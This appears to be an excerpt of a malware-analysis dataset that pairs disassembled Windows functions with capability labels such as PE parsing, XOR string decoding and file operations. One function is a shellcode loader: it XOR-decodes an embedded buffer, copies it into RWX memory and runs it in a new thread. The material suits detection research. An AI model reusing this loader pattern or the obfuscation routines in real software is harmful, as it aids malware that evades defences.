joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff698f496d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x7ff698f49817
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x7ff698f49817
mov r8d, dword [rax + rcx + 0xd8]
test r8d, r8d
jne 0x7ff698f4972a
mov rcx, qword [0x7ff698fef748]
lea rdx, [0x7ff69900eed0]
call fcn.7ff698f45910
lea rdx, [0x7ff698f45af0]
mov rcx, rax
call qword [0x7ff698fef538]
mov al, 1
add rsp, 0x28
ret
mov qword [rsp + 0x20], rdi
mov rdi, qword [r8 + rcx + 0x58]
test rdi, rdi
jne 0x7ff698f49768
mov rcx, qword [0x7ff698fef748]
lea rdx, [0x7ff69900ef90]
call fcn.7ff698f45910
lea rdx, [0x7ff698f45af0]
mov rcx, rax
call qword [0x7ff698fef538]
mov rdi, qword [rsp + 0x20]
mov al, 1
add rsp, 0x28
ret
sub rcx, rdx
mov qword [rsp + 0x38], rsi
add rdi, rcx
movabs rsi, 0x2b992ddfa232
mov rcx, qword [0x7ff698fef748]
cmp qword [rdi], rsi
je 0x7ff698f497b6
lea rdx, [0x7ff69900eff0]
call fcn.7ff698f45910
lea rdx, [0x7ff698f45af0]
mov rcx, rax
call qword [0x7ff698fef538]
mov rsi, qword [rsp + 0x38]
xor al, al
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
lea rdx, [0x7ff69900f058]
mov qword [rsp + 0x30], rbx
call fcn.7ff698f45910
lea rdx, [0x7ff698f45af0]
mov rcx, rax
call qword [0x7ff698fef538]
call qword [0x7ff698fef348]
mov ebx, eax
call qword [0x7ff698fef338]
mov ecx, eax
movabs rax, 0x2b992ddfa233
xor rcx, rbx
mov rbx, qword [rsp + 0x30]
xor rcx, rsi
cmp rcx, rsi
mov rsi, qword [rsp + 0x38]
cmove rcx, rax
mov al, 1
mov qword [rdi], rcx
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x7ff698f7f390
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x7ff69902b080]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov eax, dword [0x7ff699014ad0]
xor r8d, r8d
cmp dword [0x7ff69902b0d0], 2
movups xmm0, xmmword [0x7ff699014ac0]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x7ff699014ad4]
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x44], al
jl 0x7ff698f7f51c
movdqa xmm0, xmmword [0x7ff699015a20]
lea rcx, [rsp + 0x34]
movdqa xmm5, xmmword [0x7ff6990158f0]
movdqa xmm4, xmmword [0x7ff699015b40]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x7ff699015940]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff699015a00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x7ff698f7f410
movaps xmm6, xmmword [rsp + 0x60]
cmp r8d, 0x15
jge 0x7ff698f7f561
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x7ff698f7f530
lea rdx, [rsp + 0x30]
call fcn.7ff698f81de0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], eax
lea rcx, [0x7ff698f757e0]
mov qword [rsp + 0x28], 0
call qword [0x7ff698fef910]
mov rdi, qword [rsp + 0x28]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [0x7ff698fef8d8]
call fcn.7ff698f75890
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [0x7ff698fef878]
movdqa xmm0, xmmword [0x7ff699015870]
lea rdx, [rsp + 0x48]
mov rcx, rbx
movdqu xmmword [rsp + 0x48], xmm0
call qword [0x7ff698feff78]
mov rcx, rbx
call fcn.7ff698f75d30
test rdi, rdi
je 0x7ff698f7f5ef
mov rdx, rbx
mov rcx, rdi
call fcn.7ff698f75fd0
jmp 0x7ff698f7f5e2
xor ecx, ecx
call qword [0x7ff698fefd18]
int3
Function at 0x7ff698f939d0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x7ff698f93a04
mov eax, esi
lea ecx, [rax + 0x7a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x7ff698f939f0
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.7ff698f65530
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x7ff698f93a29
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.7ff698f40390
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff698f93aa3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93a9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93a9e
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x7ff698f93ab0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r10, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
cmp byte [r8 + 9], bl
je 0x7ff698f93ae4
mov ecx, ebx
lea eax, [rcx + 0x7a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x7ff698f93ad0
mov byte [r8 + 9], bl
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.7ff698f65530
nop
cmp byte [rdi + 9], 0
je 0x7ff698f93b14
lea eax, [rbx + 0x7a]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, 8
jb 0x7ff698f93b01
mov byte [rdi + 9], 0
lea r8, [rdi + 8]
lea r9, [rsp + 0x20]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.7ff698f65530
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov rcx, rsi
call fcn.7ff698f61240
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff698f93b84
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93b7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93b7e
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x7ff698f93bc4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93bbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93bbf
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x7ff698f93bd0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x7ff698f93c04
mov eax, esi
lea ecx, [rax + 0x7a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x7ff698f93bf0
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.7ff698f65530
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x7ff698f93c29
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.7ff698f40390
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff698f93ca3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93c9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93c9e
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x7ff698f93cb0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x7ff698f93ce4
mov eax, esi
lea ecx, [rax + 0x7a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x7ff698f93cd0
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.7ff698f65530
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x7ff698f93d09
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.7ff698f40390
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff698f93d83
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93d7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93d7e
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x7ff698f93d90
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r10, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
cmp byte [r8 + 0xb], bl
je 0x7ff698f93dc4
mov ecx, ebx
lea eax, [rcx + 0x7a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 0xa
jb 0x7ff698f93db0
mov byte [r8 + 0xb], bl
add r8, 0xa
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.7ff698f65530
nop
cmp byte [rdi + 0xb], 0
je 0x7ff698f93df4
lea eax, [rbx + 0x7a]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, 0xa
jb 0x7ff698f93de1
mov byte [rdi + 0xb], 0
lea r8, [rdi + 0xa]
lea r9, [rsp + 0x20]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.7ff698f65530
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov rcx, rsi
call fcn.7ff698f61240
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff698f93e64
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93e5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93e5e
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x7ff698f93ea4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93e9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93e9f
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret

Function at 0x7ff698f93eb0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x7ff698f93ee4
mov eax, esi
lea ecx, [rax + 0x7a]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x7ff698f93ed0
mov byte [r8 + 0xc], sil
add r8, 0xb
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.7ff698f65530
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x7ff698f93f09
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.7ff698f40390
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff698f93f83
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff698f93f7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff698f93f7e
call qword [0x7ff698fefce8]
int3
call fcn.7ff698fe9f20
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x7ff698f94990
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x7ff698f949b3
lea edx, [rax + 0x7a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x7ff698f949a0
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.7ff698f65530
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x7ff698f949d0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x10], al
je 0x7ff698f949f3
lea edx, [rax + 0x7a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x7ff698f949e0
mov byte [rcx + 0x10], 0
lea r8, [rcx + 0xf]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.7ff698f65530
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x7ff698f94a70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x7ff698f94a93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x7ff698f94a80
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x7ff698f94aa0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x7ff698f94ac8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x7ff698f94ab0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret

Function at 0x7ff698f94ad0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x7ff698f94af3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x7ff698f94ae0
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x7ff698f94b00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x7ff698f94b23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x7ff698f94b10
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x7ff698fea744
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x7ff698fef298]
test rax, rax
je 0x7ff698fea78e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x7ff698fea78e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff698fea78e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x7ff698fea78e
cmp dword [rcx + 0x84], 0xe
jbe 0x7ff698fea78e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x7ff698fea790
xor al, al
add rsp, 0x28
ret
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140007990]
mov rcx, qword [0x140007940]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x1400079a0]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x1400079b0]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x140007980]
mov dword [0x14000a00c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140007a60]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140007a40]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400078f0]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400013b4
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x280
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x50]
lea rdx, [0x140007010]
mov ecx, 0x46
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov byte [rbp + 0x1fb], 0x44
mov dword [rbp + 0x1fc], 0
jmp 0x14000141c
mov eax, dword [rbp + 0x1fc]
cdqe
movzx eax, byte [rbp + rax - 0x50]
xor eax, 0x44
mov edx, eax
mov eax, dword [rbp + 0x1fc]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x1fc], 1
mov eax, dword [rbp + 0x1fc]
cdqe
cmp rax, 0x22e
jbe 0x1400013f7
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x230
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
jne 0x140001466
mov eax, 0xffffffff
jmp 0x1400014e6
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1f0]
mov r8d, 0x230
mov rcx, rax
call sym.memmove
lea rax, str.mem_moved
mov rcx, rax
call main
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x280
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001774
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14000a0a8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14000a0a4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400017c2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400017ba
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400018a9
inc ebx
add rax, 0x28
jmp 0x14000179a
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x1400017e1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x14000a0a8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140001843
mov rax, qword [0x14000a0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018a3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018a3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x14000a0a4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140001cd0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14000a100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x140001d1c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140001d16
test eax, eax
jne 0x140001d16
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001cee
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140001ed0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140001ef3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001ef3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140001ef4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140001f2e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140001f25
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140001f30
inc r8d
add rax, 0x28
jmp 0x140001f0c
xor eax, eax
ret

Function at 0x140001fa1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140007940]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x140001fcd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x407184
Capabilities:
Set file attributes

Disassembly:
test edx, 0xf0000000
je 0x407192
and edx, 0x3fff
jmp fcn.004070dc

Function at 0x407198
Capabilities:
Delete directory

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rdi, rcx
call fcn.0040b228
mov ebx, eax
cmp eax, 1
je 0x4071c8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x4071c8
mov al, 1
jmp 0x407219
test ebx, ebx
je 0x407217
lea rcx, [rsp + 0x28]
call fcn.004034f4
nop
cmp ebx, 1
setne r8b
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.0040b8f4
test al, al
je 0x40720d
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne bl
mov rcx, qword [rsp + 0x28]
call fcn.00402364
mov al, bl
jmp 0x407219
mov rcx, qword [rsp + 0x28]
call fcn.00402364
xor al, al
add rsp, 0x48
pop rdi
pop rbx
ret

Function at 0x407240
Capabilities:
Move file

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbp, rdx
mov r12, rcx
call fcn.0040b228
mov esi, eax
mov rcx, rbp
call fcn.0040b228
mov edi, eax
mov ebx, 1
cmp esi, ebx
je 0x40728f
cmp eax, ebx
je 0x40728f
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x40728f
mov al, bl
jmp 0x40731d
test esi, esi
jne 0x40729b
test edi, edi
je 0x40731b
lea rcx, [rsp + 0x48]
call fcn.004034f4
nop
lea rcx, [rsp + 0x38]
call fcn.004034f4
nop
cmp esi, ebx
